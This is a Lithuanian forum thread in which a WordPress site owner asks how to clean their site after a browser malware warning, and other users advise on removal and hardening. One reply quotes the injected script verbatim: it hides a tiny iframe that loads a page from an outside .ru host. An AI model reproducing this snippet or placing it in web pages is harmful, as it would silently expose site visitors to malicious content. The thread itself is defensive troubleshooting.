Mano svetainė kenkėjiška

Taigi pora dienų nesilankiau savo svetainėje ir neprisijungiau prie FTP. Šiandien užeinu ir randu Google Chrome perspėjimą mano svetainėje!

http://www.part.lt/img/904cbf9112ae7d4b4800fe698658cfd1134.png

Pirmi mano veiksmai buvo užregistravau googles robotą peržiūrai, skenavau kompiuterį nuo virusų, pakeičiau FTP slaptažodį. Ką daryt toliau, kaip panaikinti tuos virusus jeigu išvis jų ten yra? :/

gal .js failai infekuoti? kokia tvs? ar up to date?

Ištrink šitą kodą iš svetainės:

<script type="text/javascript" language="javascript" > (function(){ var a = document.createElement('iframe'); a.src = 'http://qaijroke.ru/count6.php'; a.style.position = 'absolute'; a.style.border = '0'; a.style.height = '2px'; a.style.width = '2px'; a.style.left = '1px'; a.style.top = '1px'; if(!document.getElementById('mira')) { document.write('<div id=\'mira\'></div>'); document.getElementById('mira').appendChild(a); }})();</script>

</head>

TVS Wordpress, laurynai kaip nustatyti kuriame svetainės faile yra tas kodas?

Su programa AgentRansack berods gali.

TVS Wordpress, laurynai kaip nustatyti kuriame svetainės faile yra tas kodas?

atsidaryk notepad ++ visus failus ir leisk paiešką per visus :)

Dar vienas toks pastebėjimas neesu dažnas wordpress naudotojas, tačiau dabar matau, kad mano ftp kiekviename folderyje yra tuščių failų kurių anksčiau tikriausiai nebuvo jų pavadinimai: cnt.php reel.php ler.php relay.php counter.php . Ar tai normalu?

vien javascripto išvalymas nepadės, reikia panaikinti ir priežastį, kodėl atsirado pažeidžiamumas, greičiausia naudoji seną wordpresso versiją, atsinaujink ir pakeisk visų userių passwordus.

Ištryniau tą kodą, bet įdomu ar kitiems failams negalėjo pakenkti, ir kaip KingPin sako būtų gerai apsidrausti kad tai nepasikartotų. wordpress atnaujintas.